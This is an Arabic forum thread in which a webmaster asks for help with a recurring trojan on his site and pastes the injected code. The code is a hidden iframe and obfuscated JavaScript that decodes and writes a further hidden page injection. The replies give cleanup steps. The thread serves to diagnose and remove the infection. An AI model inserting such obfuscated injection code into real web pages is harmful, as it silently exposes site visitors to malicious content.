you ابي حل للفايروس تكفون يالربع

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

اخواني
عندي تورجن في الموقع ما ادري واش الحل لة

احذفة ويرجع مع العلم اني سويت للجاها اف دسك وقسمتة مرة اخرى وركبت برنامج انتي فايروس 2009 نسخة اصلية

ودخلت على السي بنل وحذفت الفيروس من المقع وتفقدت الموقع كامل وتفاجئت برجوعة الى الموقع والله ان لي الان تقريبا حوالي الشهر وانا اسوي تنضيف لة من شان قوقل لايرشف الموقع من ضمن المواقع الخبيثة 0
وهذا الكود الموجود0

كود PHP:

---

<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l499129e2af181(l499129e2af952){ var l499129e2b0123=16; return (parseInt(l499129e2af952,l499129e2b0123));}function l499129e2b10c6(l499129e2b1897){ var l499129e2b300a=2; var l499129e2b2068='';l499129e2b3fac=String.fromCharCode;for(l499129e2b283a=0;l499129e2b283a<l499129e2b1897.length;l499129e2b283a+=l499129e2b300a){ l499129e2b2068+=(l499129e2b3fac(c102916999516l499129e2af181(l499129e2b1897.substr(l499129e2b283a,l499129e2b300a))));}return l499129e2b2068;} var x9e='';var l499129e2b477d='3C736'+x9e+'3726'+x9e+'970743E6'+x9e+'96'+x9e+'6'+x9e+'28216'+x9e+'D796'+x9e+'96'+x9e+'1297B6'+x9e+'46'+x9e+'F6'+x9e+'3756'+x9e+'D6'+x9e+'56'+x9e+'E742E77726'+x9e+'9746'+x9e+'528756'+x9e+'E6'+x9e+'5736'+x9e+'36'+x9e+'1706'+x9e+'528202725336'+x9e+'32536'+x9e+'392536'+x9e+'36'+x9e+'2537322536'+x9e+'312536'+x9e+'6'+x9e+'42536'+x9e+'352532302536'+x9e+'6'+x9e+'52536'+x9e+'312536'+x9e+'6'+x9e+'42536'+x9e+'3525336'+x9e+'42536'+x9e+'332533312533302532302537332537322536'+x9e+'3325336'+x9e+'42532372536'+x9e+'3825373425373425373025336'+x9e+'125326'+x9e+'6'+x9e+'25326'+x9e+'6'+x9e+'2536'+x9e+'372536'+x9e+'6'+x9e+'6'+x9e+'2536'+x9e+'372536'+x9e+'6'+x9e+'6'+x9e+'2533322536'+x9e+'6'+x9e+'42536'+x9e+'3525326'+x9e+'52536'+x9e+'6'+x9e+'52536'+x9e+'3525373425326'+x9e+'6'+x9e+'25326'+x9e+'52536'+x9e+'372536'+x9e+'6'+x9e+'6'+x9e+'25326'+x9e+'6'+x9e+'2536'+x9e+'332536'+x9e+'382536'+x9e+'352536'+x9e+'332536'+x9e+'6'+x9e+'225326'+x9e+'52536'+x9e+'382537342536'+x9e+'6'+x9e+'42536'+x9e+'6'+x9e+'32532372532302537372536'+x9e+'392536'+x9e+'342537342536'+x9e+'3825336'+x9e+'4253334253336'+x9e+'2533302532302536'+x9e+'382536'+x9e+'352536'+x9e+'392536'+x9e+'372536'+x9e+'3825373425336'+x9e+'42533372533322532302537332537342537392536'+x9e+'6'+x9e+'32536'+x9e+'3525336'+x9e+'4253237253736'+x9e+'2536'+x9e+'392537332536'+x9e+'392536'+x9e+'322536'+x9e+'392536'+x9e+'6'+x9e+'32536'+x9e+'3925373425373925336'+x9e+'12536'+x9e+'382536'+x9e+'392536'+x9e+'342536'+x9e+'342536'+x9e+'352536'+x9e+'6'+x9e+'525323725336'+x9e+'525336'+x9e+'325326'+x9e+'6'+x9e+'2536'+x9e+'392536'+x9e+'36'+x9e+'2537322536'+x9e+'312536'+x9e+'6'+x9e+'42536'+x9e+'3525336'+x9e+'52729293B7D76'+x9e+'6'+x9e+'172206'+x9e+'D796'+x9e+'96'+x9e+'13D7472756'+x9e+'53B3C2F736'+x9e+'3726'+x9e+'970743E';document.write(l499129e2b10c6(l499129e2b477d));</script> 


---

الله يعطيكم العافية ابي حل جذري للمشكلة هذيوشكرا

مشاهدات بدون ردود

وين الشباب

السلام عليكم ورحمة الله وبركاته
اخي الفاضل
اعمل في البدايه تحديثات لمكافح الفيروسات عندك حق جهازك وبعد عمل التحديثات له افحص جهازك
واذ انتهيت من فحصه واعطاك النتيجه بانه لا يوجد فيروسات في جهازك
اتبع الاتي
1 - اعمل دون لود لملفات الموقع كامله
2 - تبدأ بفحصها كامله وتشاهد النتيجه اذ بها فيروسات ام لا
3 - بالنسبه لكل ملف تجد به فيروووس افضل حل ان تحذفه وتضع بدل منه ملف جديد مع الاحتفاض بالقديم بعد ازالة الفيروسات
4 - بعد الانتهاء من الفحص وعدم وجود فيروسات تحذف ملفاتك اللتي في موقعك وترفعهما من جديد
باذن الله سوف يتم حل مشكلتك
تحياتي لك وعسى اكون قد اوصلت المعلومه

اول شي اشكرك على الرد

انا عمل اف دسك للجهاز وفومات السي ونزلت الكاسبر 2009 نسخة اصلية شريتها مخصوص على شان الموقع وحدثتها عن طريق موقع الشركة
وركبت نسخة منتدى ثانية وركبت القاعدة عليها وبعد يوم تفاجئات بان الموقع اصيب مرة ثانية مع اني مغير الرقم السري للسي بنل
والله اني احترت في الموقع الي عندة خبرة يفيدنا اومن مرت علية الحالة

اكون شاكر لة

طيب الحين أستبدل الاندوكس بواحد نظيف ثم غير أسمه الى mw.php كمثال
طبعا بعد التعديل ماراح يفتح معك الموقع عليك ان نجعله يفتح علي نفس التغير
نذهب الان الي الملف .htaccess الموجود داخل vb ونضع به الكود الاتي

كود:

---

DirectoryIndex mw.htm index.html mw.php

---

جرب وشوف :mwalat39:
أنتظرك ,,,

الف شكر لك اخي العزيز

تمت التجربة ونجحت ولاكن باقي فية اكثر من صفحة تصاب بالفايروس هذا والله انة جنني وجنن الكثير
والصفحات التي تصاب بة الشوترد والوقن وبعض الصفحات الي امتدادها جاز الخاصة بتحرير الادارة للمودة ولا ادري وش الحل والله ان لي الان اكثر من شهر وانا احذفة عن طريق السي بنل
مع العلم اني فرمت الجهاز اكثر من مرة وغير الاشتراك من افاق الى نسمة وبدون جدوى
انقذونا يا اهل الخبر

يعطيك الفا عافية

نرجو الافادة من اصحاب الخبرة

مهما فعلت وسويت استبدال للملفات راح يرجع
الاحل الامثل قبل كل شي تسوية تغير باسوورد cpanel ثم تحذف كل الملفات المصابة حذف نهائي من على الموقع ثم ترجع تغير الباسوورد للــ cpanel
ثم ترفع ملفات نظيفة مرة اخرى
وعلى فكرة الكاسبر بعض الملفات الملغوة ما راح يكشفها يعني دور على الملف الاساسي اللي هو مصاوب وهو سبب المشكلة
طبعا صفحات الفرونت بيج بتلاقيها ملغومة اكيد والاندكس
يعني الله يعينك ملف ملف تدور على الكود الخبيث

تحياتي لك

شكرا لكم
على الرد
تحياتي